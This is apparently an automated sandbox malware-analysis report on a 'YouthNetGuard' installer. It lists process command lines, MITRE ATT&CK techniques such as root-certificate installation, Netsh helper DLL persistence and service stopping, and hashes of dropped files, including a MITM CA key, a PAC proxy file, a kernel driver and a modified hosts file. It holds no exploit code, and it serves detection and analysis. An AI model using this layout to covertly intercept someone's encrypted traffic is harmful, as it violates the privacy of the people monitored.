"C:\Program Files\YouthNetGuard\WpnPlatformHost.exe" --base "C:\Program Files\YouthNetGuard" --um "C:\Program Files\YouthNetGuard"
1⤵
PID:4944

C:\Windows\system32\pacjsworker.exe
C:\Windows\system32\pacjsworker.exe 0d9a640b-9a45-41e2-88af-eec0171f9ebe d7a33ec2-eb68-4dc8-84ed-62ed53805d19
1⤵
PID:2792

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

parent-ca.cer

Path C:\Program Files\YouthNetGuard\certs\parent-ca.cer
Size 791B
SHA256 8f634848f269333bab941b30f89a36376f2b8e3b2edc7d84ff38409f4d9470b7
MD5 ea23df36feaa88f665b2e108e3c68d9f
SHA1 ddd35aae9cfc7b7cfb1e40ded919a9db5d3616c7
SHA512 26512f2ce6dceb4335b12179e2fee585f10a450525ef5ee3297195c0d811d85f988645a91ffd6f4ba8b7cd4c030e273c88c47d3d93c37105f083d588c3338e36
TLSH
T13101468E7A2A683D34525A615F1839B38DF6D750209051259462861EC6407E82D7D0FC
MD5 SHA1 SHA512 TLSH

Submit Download

device_id.txt

Path C:\ProgramData\YngRuntime\device_id.txt
Size 32B
SHA256 75bebdf8768da5c0e97ba4da543fa01f995189e015d039ea2bd0f942458536ca
MD5 b127f2e6312b9022a5b0d0866c333bb1
SHA1 e625e8cdd07be79aded1b4a6dde5bedc4d3f28d7
SHA512 edfbc2cb9fa2b07a8ad20009886b95d2b9e0c5e5245fa156cb5950adc8803bc6ca1f7425104c1edd2b2f5cebe5d99b4cb22c031c326c77083d29a97c68197ab8
MD5 SHA1 SHA512

Submit Download

driver-signers.txt.tmp

Path C:\ProgramData\YngRuntime\driver-signers.txt.tmp
Size 55B
SHA256 3ae9a8b62644c837c8bb341a2894ed10a3be3d4657385a4ef0a1f401f7a3c920
MD5 4aff5dee6f1a014faaec03ab8d6a1aa1
SHA1 414a5fa78710f5793498432ac10c3d5af4199cb7
SHA512 0e13cae4f37d5bed3496e5e2de91c1b8f745fb4d92238437c6872ddf771f8bd259959f0c37c3c248b2da99fc4f64768c8bfda4e1d6f3815b9a3a08cba1df9dcb
TLSH
T1DD900289C150A925A55052B095953817D75E6590506A75A584C495C89A1C10C90194B2
MD5 SHA1 SHA512 TLSH

Submit Download

driver_identity.txt

Path C:\ProgramData\YngRuntime\driver_identity.txt
Size 30B
SHA256 f06196e66168349bbe067433172ba8f093b987be8965b33df302d900cee8c454
MD5 4b39ea7887c65c7e6de9f585f6844511
SHA1 b86f6d468823a827337fb49750dc7ada5d25ac71
SHA512 ba9ab5593e0da98d950ce5fcd6ee34b49ff9893d42f74836ecf61aa21fda56888fb126a089c83c581a06bf0674ba389756521360deb50f5aec125aeff0b364bd
MD5 SHA1 SHA512

Submit Download

driver_policy.bin

Path C:\ProgramData\YngRuntime\driver_policy.bin
Size 3KB
SHA256 f1b836c31b283473b1b29587bd2a65b3b6863ad3bc4893ad56a73327bd1d2416
MD5 25a1566f2503c6f3d63ac7152e499908
SHA1 5eef9d28e85ff41be3d0652d5f1181ac715d7020
SHA512 9f9b4c947e521b82f0ab192f532106c9547765adc2f07b49a1fb548bb422750e26bad9690750fba1f51814d4b97daff6f7d873b534fa7973a4d1bd8e5e5fbb06
TLSH
T16461135424BE4F49F3A3C732AA93DAA2EE76FCE2E825C744034235094681E815ED1F37
MD5 SHA1 SHA512 TLSH

Submit Download

exe-md5.txt.tmp

Path C:\ProgramData\YngRuntime\exe-md5.txt.tmp
Size 24B
SHA256 f12229a4b2f3e4b98f245dd644aeec20e05fcc209311cc3d33be519a096111b4
MD5 1c70e12f4d0e42c3df0c8a6390348752
SHA1 95256436c8625ebb991599c44b05adf04abcfd85
SHA512 b6e34303dbf87348b7763204dbdff4071ee2a03efb318b9a2db3f36cb935ce19daf088f95399898718926f5e9ff971945696213b8a504167b528711936eac043
MD5 SHA1 SHA512

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 416B
SHA256 2c5228cecb5b79f80b73dbab04d496f70c3f9ded9ec3d678eb7c0768e9d3039a
MD5 19d7008586cd386340c6540fa284f6a4
SHA1 f048b7b2fba7579fd9a966f7857decf935d710e4
SHA512 086221bff3cecd6eca1cc14b1c75b9d3e15dfdff8b0340da749db79191ccad3a70a1772e2a52b7b97a550b1edcaa5ea3a095900ff98106c1f67aa6a0080e53dc
TLSH
T14BE0A0C882E894756E52C19BF4391E6FD79ABB0897182071B770411907C3084A92AA39
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 793B
SHA256 1ca958f2e3016155f07b9398fb597e939d02b185a0af17532d46ecb6b7a9e523
MD5 dbe94fde30fa78b04023e659fa3acef6
SHA1 c5ee83bf6d97c3ce564929983ec443b3ce75abc2
SHA512 9d0cd6045d957e6d3c116a6175de1149c27403aaf589e0c6ec71805fcd11e9447fbec59c44980db28265b583fa50c17693e711703a62e3420fe528e9f3104e6e
TLSH
T1EF01E9C083DC8461BE12816AE4391DBFDFC6BB08A7182132BB3081554BC3408AD2AA3C
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 925B
SHA256 408f2fb022b15f74a34d69ca287a2e453c8f5c73d7410571f661e623f4e5ca14
MD5 f1fbfd9c50697e54f5b7cbcc8f1f0e93
SHA1 30d70f6c65c42e7506a45fc15b49c064d72ec54f
SHA512 e1864a5ba534b57ffd0fdaf2b5745c68d963d0736741e847b5de2d35dfafb1bf39e607d3fff8a2b0a2c3127e4924e81ac0d8330c5814bea7a45e47e6f6e89ab6
TLSH
T13811BCC493DC8465FF46916AE4391DBFDFC67B08A7182132BB7091514BC3408AD36A3D
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 991B
SHA256 31c12a0ef7b52509ccbf9d982ea1fb8f3350e00560404d32dcc75ca9c81cd781
MD5 08d73f8c2ebe0f9da77ddcb054c9880f
SHA1 5b61895f44dba42478d51222196065555bb18429
SHA512 b9ad1c9b9d4ef8accd8512edcf2bb88d8b0838917c41ef85e8e87a2b9015774e7fbfb47f68eda83eb2e459fdfa06a4aa7b8d9cd09f175bb9699767a7c5a938de
TLSH
T11811A8C493DC8455FF46916AE8391DBFDF86BB08A7182132BB7091524BC380CAD36A3D
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 1KB
SHA256 76b85ca29b47b0dd58e58e4ee0cec0e3b80f68ea8019d558683ec83a47ede052
MD5 b511be7192a1430e1b7bf3ca3a2655c1
SHA1 c9fec6157404b4a021b15cd1f8fb0b18a88f2cde
SHA512 4f349d66424be101fc422db1f513a712bc8f41180dcc3184906a3dc27da4a149b6ab4ef5851abe80c28c87af0d54745a72dbf769f8a4b749231dd65a72d0f733
TLSH
T1552197C493DC8455FF45906AE8391D7F9F867B08A7141132BB7191524BC380CAD26A3D
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 1KB
SHA256 8f64c99deef89508f54e10091483bd14e6f1e0660b6594b500115ba2724ec7f3
MD5 bc0734e35c1ab48eca8d202e4ea00174
SHA1 adee3afba17020f39d0f75db344183bae777fa0d
SHA512 ef8f8893f26f3d9ff2fd3a38da86a6b65aaad0b8c6f92845babbd6eb7f5d3ee2f656c118ed48b86a1a3f3df2957ad559012afd4937f053a8b08fc1ca9675c5bd
TLSH
T12B2196C093DC8455FF45903AE8391D7F9F867B08AB141133BB7191928BC780CAD26A3D
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 1KB
SHA256 477b8e8098be625e918094001de8a0a998849cb53ee89de2979be6a30d190b8e
MD5 88e3e389eb07720f7c40a01438a700ad
SHA1 48042202f687eed9e7bb471ebb8d897e7126a2d5
SHA512 277aa7e3bed961870a12ddacafa610b040a2bcaa57a4fa11d4c5a774e50220520c8bb5a175e1913e3792997d816ecf6a20a31e42f8e4041ecb4acaf3507cf6da
TLSH
T1682186C597DC8451FF06906AE83A1DBFDF867B08AA141132BB7491918BC780CAD26A3D
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 1KB
SHA256 7e28b8617b4708955f3900dee2bd1357ded9520e6b3f4a6679b7050c606702da
MD5 bc267ed07c6756e99bbdbdaa14f6641e
SHA1 483dcc7b654a32776bb346580deab853e9a638c7
SHA512 3c66097f29ca993a10a0025b2b188e1545c0a41e374fb4db3cf44179f75fa67941436aa975f8c61c715ed18eace7511d671ae37c02fa8af97a6ff4dbf86384c5
TLSH
T1202186C597EC8452FF06916AE83A1DBFDF867A0876181132BB7441918BC780CAD26B7D
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 1KB
SHA256 d726bf5546e3c9b6959b37d476a26111be030443708cc8c5b0cce519c9b8d4ea
MD5 89b3f35190f36f841528046ab6b22c23
SHA1 0d02e1aa9598169dc3fa7c60dc0902b30a2874bc
SHA512 5b7000429960524a7b37f863479fa73b646cab99700677e012dbcbdafcc343c18319b8d2be67b836afe52ab0932a43d3fc1b848cb336c75c1abc58bcb4f19dc8
TLSH
T17131B8C587EC8452FF06D16AE43A1DBFDF867A0876181132B77581518BC740CAD26B3D
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 1KB
SHA256 40c6c2e90f275f0aeac3211063a05430e5e5d1ce12bd5b5485b47b832aa456e2
MD5 e320c7c133ac78659d8a19d70dcc7fc9
SHA1 887ea28b14ba41bc424857acd38fbc413e51de7d
SHA512 2e23366de30a96d36c9c3c90707dd7a0e701fd9a7c928fdf345100f20f556ea4539f1cd477abcd5f0216172a64980b04f970cb63a963b96d200a52e5b1349b67
TLSH
T16831B6C587EC8452BF56D16AE43A1DBFDF867A0876182032B77581518BC740CAD26B3D
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 1KB
SHA256 4b47665f7ed46475bc26f458201e351bd01ec7113e115b3ff34f4c4f9a3e6ba0
MD5 3215d0614ab8345b2e1f2517ddee3580
SHA1 6ed3b69096df19b63e3aa9df382a28a6a8356644
SHA512 3eb31188dd67c50e117751464d053cc05a39c64092f5c78f39c66337d3f6a5525496dbf2cebc671183619cb25154f9e9e6f9831db2ec8ea7774639b16780d0d9
TLSH
T17731C3C583EC8492BF56D16AF43A0DAFDF827A0866582032B77581514BC7808AD2BB3D
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 1KB
SHA256 2d6fd92c33ebbc53dce0751b6c20f1d3b2fc80abead231b30c7f414bb79f1a5d
MD5 214067530895a0d388295a8cc2db898e
SHA1 7315893ac7d926e2f5700642c5f1b7e32d1d3001
SHA512 d17b1f7ec94aebfe0588c03b89f89dbd83bcc4ecb43f03a18462fec3c0d46bd281f7f561b67cee855f0361bf0f96c7a52de8599905602d65b4573f75c6bc384a
TLSH
T1E831B4C587EC8492BF56D12AF43A0D6FDF877A0866582036B77581914BC7808AD27B3D
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 2KB
SHA256 d37c2c1b133787a5aa167607dd79541aa30cd553cbb9addf0a4850640d244fbd
MD5 dd3d7bbbe2bf5e8fa7fc519009748360
SHA1 59c94316db2b9bf4df605f2bf57b0765fa89a907
SHA512 b5239bccadde6e5a22f4f957f3fe7ef46cfb356a3ce39813cf4decfa53014cd872b5b266152fa4b8bddf2043930bd948810f3ff993485d7435849ec1ae694350
TLSH
T10E4119C487FC8492BE56D11BF43A0D6FEF83BA0466582031B77982454BC740CAD26B39
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 2KB
SHA256 d3d0e07529ae7570e77d4ec44844aa85d16cce8f4a04ed6269ddfce14fc1cf7a
MD5 4739cd5adee3551c628e60c706981adc
SHA1 07c8608d4eb80a7f6a61d5c41d7f45e0605e6754
SHA512 f7940ca0f31587c2c1765c17a3d259d375d341ad1fe7cc6ac29fb4e67b95af04dc0bd150cde8d5d6594d98e62b2c2dbc820e97aa21aceed09c8abae5613f1102
TLSH
T193511AC4C7FC8492BE56D25BF43A0D6FEF83BA0466582031B77982554BC740CAD26B39
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 2KB
SHA256 2edf26630add64e7489a5f24a31cc722cd6b7c95e3150fa386d3c4b20e98c9d5
MD5 5af6d6d4a7c84b3994c9372814a2915f
SHA1 219eee636fac14bdd87f0ec9a008b4c27a726879
SHA512 615fe726c3b2dfa324de0419bb8f068af2f00a318ce5b279066caedb0f718ab761e387fe601401c984fd41cdbc06813bdeb0074f9c35a21e6418ccc0c3512ae1
TLSH
T1DD51088887ED9492BE57D21BF43A0D6FEB83BA0466582031B7B981454BC740CAD36B39
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 2KB
SHA256 ee2071954d7ec945cfae4beac01b71ec6ecb13cc01e4bc6d8ee537958ef28dd1
MD5 62b2e611de6af1b3ca25375dc573b760
SHA1 cc96d36fed923a38b655fd93e6f7e5cfe2f3d2a9
SHA512 99501cf02ecdfbea89aea673295cc3e7ca752782b86e971f9a8473afb15dc145a27592fb059705c808c98475691404f630fdd338a487ac76be68f609be235e2b
TLSH
T10C510B8887FD9492BE57D21FF43A0D6FEB87BA0466582031B7B981454BC740CAD36B39
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 3KB
SHA256 aaa6551dd1e4f961fc2dd7839e867ad322988a0b5b54aba7e0ddb118a2b4f7fa
MD5 b0171e4558c596c56a4a080953d45044
SHA1 5278e4652544273f690ac1874fad78d08c94b39b
SHA512 3463be1995fe3642869f26d731241fcc9216031b0c0350781aa092d5247a2ab4c4a1cf8aa5ac5bd6825bba6fc79407e2502337d5c7ead4c7fe8690d40baca84f
TLSH
T170612D8887FD9491BE57D21FF43A0E6FEB83B90466582131B7B982454BC740CAD26F39
MD5 SHA1 SHA512 TLSH

Submit Download

host-sync.log

Path C:\ProgramData\YngRuntime\host-sync.log
Size 247B
SHA256 07445b872022a7025ae837d9c49ee01d2163c41e542d4a058cf5e35726f5bc84
MD5 559b6cbdc450f61cd5fc7c4e52e5aeb9
SHA1 ce0e9abf4287b6cd9270c3e27f7a9b9180703f4d
SHA512 8635c45d7f1790304fd4ca4e6c94e7436fcad6b4f6268343f7b957281f59fb5093d7f4bf30760a91b563886d11bf8964e480ce81a4c29086288f034619a72212
TLSH
T1D7D02E8882EC84666E0090DAE87A2D0FD76A73089A0820B2B370012803C30C0A906B2C
MD5 SHA1 SHA512 TLSH

Submit Download

ip-blocklist.txt

Path C:\ProgramData\YngRuntime\ip-blocklist.txt
Size 1KB
SHA256 b41b173c5302ab18fb7f90d6a1d30e8769e3800155f2b4c6ec493927a8e94ac3
MD5 f6aeaced01c8af4d68c6e92d1621cf0b
SHA1 cf9584de0eae8949e692823ab2d9fa12b47d86c1
SHA512 2311d6c1003855eb0919adb5a013f4d6a735581e713a66edcb761768feec90abbbbcf5f6dc975950a6dadd679a434fbc4517f1e03ec6f33f595443bc5e41a47b
TLSH
T12541005033EF5DF6EFD1C90AC3C1C1A5610E82AB5603F2D8EFDB96807828108B6F1686
MD5 SHA1 SHA512 TLSH

Submit Download

ca.crt.pem.tmp

Path C:\ProgramData\YngRuntime\mitm\ca.crt.pem.tmp
Size 1KB
SHA256 c0f21d6d5fd9786d764332ad3cba17e475973ff010caf5116ea43495fc3bd9ec
MD5 1e7be881af4154118294a568cfd920e2
SHA1 d25b2f8f79879810c838f5da02b3a73f000e962f
SHA512 89431f9a0e1211e277162550b269a470489b9d340557b11c3b24d29bcabfddca08b39391df0196902e4af30abce4f69bbd6f3915c97fb7c4b79d149b215503e7
TLSH
T13421CAC595203C2C0EFDD39AB495D35E52F3D1A40FCA60A94B9A1454D72405D02AC904
MD5 SHA1 SHA512 TLSH

Submit Download

ca.key.pem.tmp

Path C:\ProgramData\YngRuntime\mitm\ca.key.pem.tmp
Size 1KB
SHA256 3c49a662505321bf0e0445c3efa61da2cd173fcc8f5c260324183c3626b22303
MD5 295dd0cf71637a14cb78ddfa416a437c
SHA1 590d1bcf83303896f59a03d3a00a2e205d9aaead
SHA512 54c44452f5149f9a134e5705a89ce1990de34240fa066b1dd5399ebba88287202a5b425919bf8846609161fb1ca0acd3d0f24a5c3325e509ef661c0e5f46162e
TLSH
T1A231D8501568FA364A0BC4D9EA4B27AEC4E0EF9BAFD428A98B0F21722120095057E25A
MD5 SHA1 SHA512 TLSH

Submit Download

pac_mode.on

Path C:\ProgramData\YngRuntime\pac_mode.on
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

Submit Download

parent_ca.thumb.tmp

Path C:\ProgramData\YngRuntime\parent_ca.thumb.tmp
Size 41B
SHA256 f7cefe69686dc0c17363616849cfe19e08596b32117c457cab9acb2e31c4f27d
MD5 a0c95b53f9573552d5362decbf88e6b5
SHA1 6b357b73c965f229556f6d704ebc8ca5727cd3cf
SHA512 ad5c428fb8246cb0f710505b8018c30b9e97aa79cd86f7ea768002d49d231b384c9422f0a4c2363da575b5eda83c982c7631f0b80bba7f34f1f4222965356f2d
MD5 SHA1 SHA512

Submit Download

parent_unlock.sha256

Path C:\ProgramData\YngRuntime\parent_unlock.sha256
Size 65B
SHA256 aab795a8c8cf23b82a97d87fd4e145a35c37d734802e5bf0d98fd3ad8893c010
MD5 d2293d580969d3feb6bd82fc44c0deae
SHA1 c389a400c76553118bc0c9b77ab659d0a9fb39e8
SHA512 45fb51c111e3f8bccb7f646928bc1e40f6608d2129dff6acbf05e8db05bce16fb861ad05dfd1ff94d203b7a08515922b4b3f9323ab8f48f06d8fe2172c678ffe
TLSH
T1CFA002E846D68435E8668316C0A0646BB25687B566A660E5257168178270596CC1D434
MD5 SHA1 SHA512 TLSH

Submit Download

parent_unlock.sha256.dat

Path C:\ProgramData\YngRuntime\parent_unlock.sha256.dat
Size 300B
SHA256 bafc65c85c9c3d2ba792b8ab779609ae1c4460071e7959828b93f0c2de87b31c
MD5 2c4ffb07e3f02e5b4d5eccfb6e40a3d2
SHA1 ce349cdc9a4ea356e0516cf82d062fb2e9c4fa1c
SHA512 75719b88a2c2f5d52533bda3e726bb742bad485680f75d397027c6182dbe00a869d3d659745f31468b41f0d89bee2f8af88bb30b17e3ccd803eea931440ec91e
TLSH
T11AE07D9693198156F86E8730CD47294006A0C479135F61C59C0A50E095E338051BEED1
MD5 SHA1 SHA512 TLSH

Submit Download

policy_version.txt

Path C:\ProgramData\YngRuntime\policy_version.txt
Size 3B
SHA256 94357f63ecbc9f2a794d70f4d95b4a0db358191b6ae02fe472d240e367467503
MD5 9e01624ab7743bcdbd8cb31681392cd5
SHA1 b57defb29ae2406a34d886d8694c76ca8998f757
SHA512 3de702ad4a897aceae611d07a5a88d68c92f5714945c1e88dcf35b229159157d45eed2d4118788a77871a6fa587e66c59e35ecbc4357dcfa2df15a98cc9486eb
MD5 SHA1 SHA512

Submit Download

redirect.txt

Path C:\ProgramData\YngRuntime\redirect.txt
Size 30B
SHA256 55506d60b0d6838823f2f556dad20f4da4c791af79df26f07d572c1a14745d8b
MD5 a2a37293f8268e9cbc3c2eafae92fa5a
SHA1 c5cd9975ce828aef96f3ee921b6388c10061ab2d
SHA512 2e1ac1ed358dcd07301ae501de0d126dd1d6b4b3bd4dd19ebbf414026441863efab2f06a4cf089735c0824f667cfa81b7afcb38e7c6699e8dff6df7e3bea4c23
MD5 SHA1 SHA512

Submit Download

server_url.txt

Path C:\ProgramData\YngRuntime\server_url.txt
Size 23B
SHA256 3a3005a42bac676c0d7f86ecb94820e25932cd9be6922f2c7b46ea5e7f8226fe
MD5 9d3cb8f51fbfab437c0f6701d40a8d2c
SHA1 e5e90320d3c01cd7cefee18d47139b8e54fbda1b
SHA512 99a3bd01874a636561ee7d18d35624af0142e9e91dc7686f1bdaab377cd7504a0f30a1930af20780f443bb982c6390449605f6c34211588125211dea61aac153
MD5 SHA1 SHA512

Submit Download

silent-setup.log

Path C:\ProgramData\YngRuntime\silent-setup.log
Size 426B
SHA256 6dc26f5ec87cedc083dc37d19a34a7cc87236814bd3babedc339d998e83cc25a
MD5 22659f18a599f9bffa48e8ff1b7a9a1a
SHA1 a9cafdbc1186c27c6d908c0375ba4f2dc24c2c70
SHA512 1695669bde2933a76762106b73d9201c81784534ba10572ff01c528bbc842252a4724962be0efc1186784102b1d4bd2f145b5fc720aecfe069728009184b5377
TLSH
T168E022E304FAE42918A531C4EAB38E47C8A7CB020B360E748BDC04A44527490B2CBBBD
MD5 SHA1 SHA512 TLSH

Submit Download

yng.pac

Path C:\ProgramData\YngRuntime\yng.pac
Size 817B
SHA256 b7a5b597e47654dbede7bc61dd12b13e3a3ca651fd85b380c89e15ab16608f9a
MD5 f430000950642dbc7cd4f2b2c65ccf02
SHA1 df135dd6f2677674dd7869ebc94b81b9991b1ddc
SHA512 b3a91d1dfb160a1bb95e0d67618d66a040e3e307bf6dbb6f086a62aea78f6cc296b90219b7d1a462b2fe895152b7ab5c44cba6d8030f7bdde3e97667f2e5955b
TLSH
T1A101CED99ACAF13E635100748D5A1249D879DC20411CEE31E09E09027FF6FA482FBDE4
MD5 SHA1 SHA512 TLSH

Submit Download

yng.pac.tmp

Path C:\ProgramData\YngRuntime\yng.pac.tmp
Size 4KB
SHA256 50a54025d77578d8ad3e871d4d0a0eba57c3b0f88306a4bebd2cacf90019d5df
MD5 226ae4a2803003535d9d685fb13d7364
SHA1 e3c0a5f1a554e79018d168b4bfac0f7170e3ae15
SHA512 ea65b6194fd0390cfb59baee7705be107afb62be8a6ca8af0e7a4b22c3c1681846961ec5697e1b5838510640254607e790b000693d929cd335f359194e17a132
SSDEEP 96:A9Y2RmrO3NYee1L/DpMsY1wrClvsg88I2tlgpoTHU:2RBKLLp3Y1q0V852tlJT0
TLSH
T123919C7201D85DA49AD884B5CEAC101F64B8D9F648CEF7B6DEEB99107E5C14432F3D88
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

yng-admin-3092-240676593.json

Path C:\Users\Admin\AppData\Local\Temp\yng-admin-3092-240676593.json
Size 128B
SHA256 73bb47331f65357f798c3ddfb814926b8854a6d4c8cf5e7054aa5000b6482de2
MD5 84c67416f08966daf329047674ecc399
SHA1 ab587c3bd6a48c83bde23399905d9cac4c6379f3
SHA512 b65ebf8ff2baa0405143ad93781fcc3464df8957b3aa22673e684cdb3eab69353aa59a6c9c97190631f2fbeb99a5f9c11cd1ac2d31dc1e0bfac4acaad9882270
TLSH
T1D3B09B3D11555D7596CDDE994884145746135542C09156576F44191408274755605465
MD5 SHA1 SHA512 TLSH

Submit Download

WpnPlatformHost.exe

Path C:\Users\Admin\AppData\Local\Temp\yng-silent-572076A7E0444415B399042CAFB8E2DC\WpnPlatformHost.exe
Size 579KB
SHA256 050f81568517488ea9a2074d5128387e1f132acd82ac5fd5056ec72a0700c08d
MD5 6dc0cc20efd3e84d8aa6d03542607cb9
SHA1 f3121aab0f002040928bf0773d7cb40ece859f6b
SHA512 d02052a0479b25e0c27fdf3c80c9a3fe74839161fd389069fcd286ffe71375ced9bffae81bb625b19da4dc5799d4a9c37a392f0572ef02e1595970fac65ddaa2
SSDEEP 6144:PB7zm2vldKBZxXzRmZT0JMm9CkONlrE9yOUeSUSI+H5ndaiuNbEujeRkzf/64f1o:fa9X149mWyoHz6FNso/B1Ot5mW2d6
TLSH
T19EC45C1A979412FCE1B7C179CE868D52EB72780A07E16ADF039049A35F676E04F3A713
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

yng-mitm.exe

Path C:\Users\Admin\AppData\Local\Temp\yng-silent-572076A7E0444415B399042CAFB8E2DC\yng-mitm.exe
Size 856KB
SHA256 b6ea3d4d88db74373b0741c5fcc1be99903fcc7d5c9d6aa9e07581c6c4f34a5c
MD5 ab82ef8973226c775373d1e2195ecb31
SHA1 0ca6400ab62b67036b5ea66c6fb0cfe0341fd90e
SHA512 87e84731f0a36574cac56f386a22051ca7010463babc40e9afe6c324eb076b06aebafc662cc59381b888386bcf3e97c76c37bfc9a267b28c662b03d1a888a3f5
SSDEEP 12288:jRVFvGCWIDraZTpcRVjH5yRRa+0VGXJEaswZpA7XP+h0ACqo4pf7zV:tVF5WID+pcRVH5yRRQQXzD8zP+SUJzV
TLSH
T117157D5ADAE405FAC467C179C9861607FBB6B4191360ABDB07E646963F23BE14F3E300
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

yngwfp.sys

Path C:\Users\Admin\AppData\Local\Temp\yng-silent-572076A7E0444415B399042CAFB8E2DC\yngwfp.sys
Size 81KB
SHA256 881239663c249b9933cd419aa4459e55d0ecfde87a41c490b5b0d4efc4b947dd
MD5 4f43b10e5f9fb0c1cf0db1c3b8810ba0
SHA1 99a53a63abb4dd0e5e2e6619b9269275ac4877a8
SHA512 aa52aeb8dba1f3d8c59e204f77598d3aa8c13e427396ffe81d4cdb559da86bb353337b71d8e2661514f4b18ebd54bc1fcae94f92aa002f8398136364f4bbda1b
SSDEEP 1536:LInxCJ4/2DYuRgrXB4Rvo+U3g0SmgdoF8tfyKL7So1:LMlIYsxi+U3fVgdoW7fSo1
TLSH
T18983081197E814E9F66796B8C9BA8413CAB3F8522B12CBCF0360454A4F33BC59D357E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OgrePlatform.dat

Path C:\Users\Admin\AppData\Local\Temp\yngsetup\OgrePlatform.dat
Size 776KB
SHA256 8890576c44c1e7d5cf1bf4a0a6a22e88a2d3599ac0110904082bfead05722d5b
MD5 1d2f6da51a590e2e9320ac7e1db4342d
SHA1 319e72e2fbb6c1cb07b82f92ae4d4b200e58279d
SHA512 b2dca4e95f51e380e502a312dcf4f25c3c102007675b9ef0488108f6e5e6141c348ad4e09efcb5b92b72bccf60d8cce0c377f2ac8f1b8be7b7979dbcb5c8802c
SSDEEP 12288:13Tx1mU+/k7wpnH20wK+07etDZRV0p3pVH9Ye8kSnvc1JYGClH9v66FrBPFY4WH3:ZP9ct2HXHtD7V8LdYQwldiOrBRwUqxd
TLSH
T12905334082508756C47C1896536BAE9B2FBFF1A3A6AFBF5E1B70E1C852630C7423B751
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

YngSilentSetup.exe

Path C:\Users\Admin\AppData\Local\Temp\yngsetup\YngSilentSetup.exe
Size 227KB
SHA256 d5a1184e080fe25ef6e79e838044dffd6298221b6da9bdb5f7d80f2858115cc4
MD5 575201873f82e0961a8600db5c11e73f
SHA1 07176d545c356b965b805557d089a9097e86abf5
SHA512 65cd6ca6ea372dcac128bfc5a748930dd71979979dc5e9a383861af8e09c3307196a6c6a5f2a3b77a8feec4b7a07140380c8d7769be7486b7620b2f4e53eac0d
SSDEEP 6144:ui1gt/jhHYO0zxWrDKGik/BgYwR6YJe81SUBIuGNlCT:SYJeFBHC
TLSH
T1AE347E1AA7A549FAE177C578C9924906EB337C4547B0EADF039009A29F237E09F3D712
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ISocket.dll

Path C:\Windows\SysWOW64\ISocket.dll
Size 295KB
SHA256 e3345226e9506c8e121f9dc5395a8ac2b4550169c321907a80001edec684092f
MD5 bf2d71bfbd2be254d544360ce086dd16
SHA1 c327014024ab92b6332b55814bbd27680ea3e208
SHA512 c0e5a304786da3edab8c815605141ad4f881bee16eb602626bb9068afee469e65188764e13ccce2e4f057c56b50788d20aab09797938983fc1ffa6247dc895b9
SSDEEP 6144:g8DXahI8vTjQdWdBnrBr3CD+0S9wwhg1DSYEmz5TB/YvSE3+CR:g8DXahI8v7JvpwtwYEmz5TZYvvR
TLSH
T13E548D103A628136D9FD463588BEAB5F51ADA5104BE984D7AF8C4E7D0CE61C32B347CB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 175B
SHA256 faac8d1296a6fc42c9a15d4903316fdfe211376f13a6d919ea3f048280b643d9
MD5 d6e08a800a4cf332183cb99718cb4a3b
